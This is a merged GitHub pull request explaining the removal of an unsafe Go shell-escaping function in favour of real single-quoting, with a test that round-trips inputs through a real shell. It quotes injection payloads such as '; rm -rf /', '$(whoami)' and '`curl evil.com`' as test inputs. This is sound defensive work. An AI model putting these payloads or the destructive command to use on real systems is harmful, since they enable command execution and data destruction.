Repository navigation
security: delete ShellEscape and migrate every caller to real single-quoting - #702
Merged
Merged
Conversation
--no-dns and --dns were classified as sweep gaps. They are not: a sweep row gets spawn:dns-name only if the param file sets dns:/dns_name:, and spored skips registration without that tag — so sweeps never register DNS and there is nothing for --no-dns to disable. Found while verifying #549, which is fully fixed: --no-dns is wired, dns.enabled is read as a tri-state *bool (nil = inherit, so an absent key cannot disable DNS), and six pkg/config tests plus a cmd-level guard test cover every case the report raised.
…quoting ShellEscape was strconv.Quote — Go/C escaping inside DOUBLE quotes, where a POSIX shell still expands $VAR, $(...) and backticks — while being named as though it were the safe choice. Deleted rather than deprecated: the name was the trap. The storage user-data was the worst of it. For an ordinary EFS mount point it produced mkdir -p "/efs$(id -u)" (substitution runs), nested quotes that were correct only by accident, and `/my efs` rendering as export EFS_MOUNT=/my — leaving `efs` to run as a command on every login. The fstab lines took the mount point raw into a double-quoted echo; they are now single-quoted whole, since fstab wants literal text. spawn config set executed values rather than storing them: the key and value come from argv and the result runs on the instance. Also removes the dead shellEscape template registration in the MPI user-data, and stops the pipeline lambda interpolating a stage command twice — once escaped into STAGE_CMD and once RAW into an echo, where a substitution executed and then executed again for real. A gate fails the build on any func ShellEscape( or strconv.Quote in pkg/security. It earns a gate because a PASSING test named TestShellEscapeAttackPatterns fed in $(whoami) and asserted only that the output started with a double quote — the exact property that made it unsafe. Its inputs are kept and now round-tripped through a real shell. Fixes #680
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes #680.
ShellEscapeis deleted, not deprecated, and every caller migrated.Deleted because the name was the trap. It was
strconv.Quote— Go/C escaping inside double quotes, where a POSIX shell still expands$VAR,$(…)and backticks — while being the obvious thing to reach for when you want "the escape function". Leaving a deprecated footgun with a better name than the safe function keeps the trap baited.The storage user-data was the worst of it, and I measured it
Mount points, mount options, filesystem DNS names and device names all went through
shellEscape. Rendering an ordinary EFS config produced three distinct defects:The third needs nothing exotic. A mount point with a space is legal, and it corrupts
/etc/profile.d/efs.shfor every login on the instance —$EFS_MOUNTis wrong and a strayefsruns each time. The second is the one I'd have missed by eye: it is syntactically valid and happens to produce the right string for simple paths, because bash concatenates"export EFS_MOUNT="+/efs+"".The fstab lines were separate: they interpolated the mount point raw into a double-quoted
echo, so a substitution executed there too. Those are now single-quoted as a whole line, since fstab wants literal text and nothing in it should expand. The attached-volume lines useprintfwith the path quoted instead, because$SPAWN_DEVmust still expand — the whole line can't be single-quoted.(One thing I did not fix: fstab needs
\040for a space in a path, so a spaced mount point is still wrong in fstab regardless of quoting. That is a pre-existing and separate concern from shell expansion; flagging rather than silently half-fixing.)spawn config setexecuted values instead of storing themThe key and value come straight from argv and the result is executed on the instance, so
spawn config set k '$(id)'ranidthere. The caller already owns the box, so this is self-inflicted rather than a privilege boundary — but it also meant a value containing$could not be stored at all, which is a plain correctness bug.A passing test was certifying the hole
This is the part that convinced me a gate was needed rather than a comment.
TestShellEscapeAttackPatternsfed in"; rm -rf /","$(whoami)","`curl evil.com`"and asserted:It required the output to start with a double quote — the exact property that makes it unsafe — and passed. A test named for attack patterns, reading as a security control, blessing the vulnerability.
I kept its input list and now run each value through a real shell, requiring a byte-for-byte round-trip:
All 17 patterns pass. Checking the string shape is what let the old version pass while the behaviour was wrong; checking the shell's behaviour can't.
The gate fails the build on any
func ShellEscape(orstrconv.Quoteinpkg/security, and is verified to fire when I reintroduce the function.Two more found during the audit
--mpi-commandout of the template entirely, leavingshellEscaperegistered with zero uses — an escaper sitting there for the next person to reach for. Removed.STAGE_CMD='%s', and raw intoecho "Running stage command: %s". Inside those double quotes a$(…)executed — and executed again when the stage actually ran, so a substitution with side effects happened twice. The echo now prints$STAGE_CMD, and I moved the assignment above the echo that reads it (my first version printed empty).Not consolidated, deliberately
There are still two other correct single-quoting implementations:
plugin.shellQuoteValueandtaskproto.shQuote. Both are right, and both are in packages that would gain a dependency onpkg/securityto share one. I left them and noted it rather than widening this diff — the unsafe one is gone, which was the point.Gates
gofmt -lempty acrosscmd/ pkg/ lambda/,go vet ./...,go test -short ./...(whole module), the lambda module builds and vets,make check-docs, changelog gate,semgrep→ 0 findings.Three pre-existing tests asserted the old double-quoted renderings. I updated them to require single quotes rather than relaxing them — the values must still appear, now in quoting that protects them.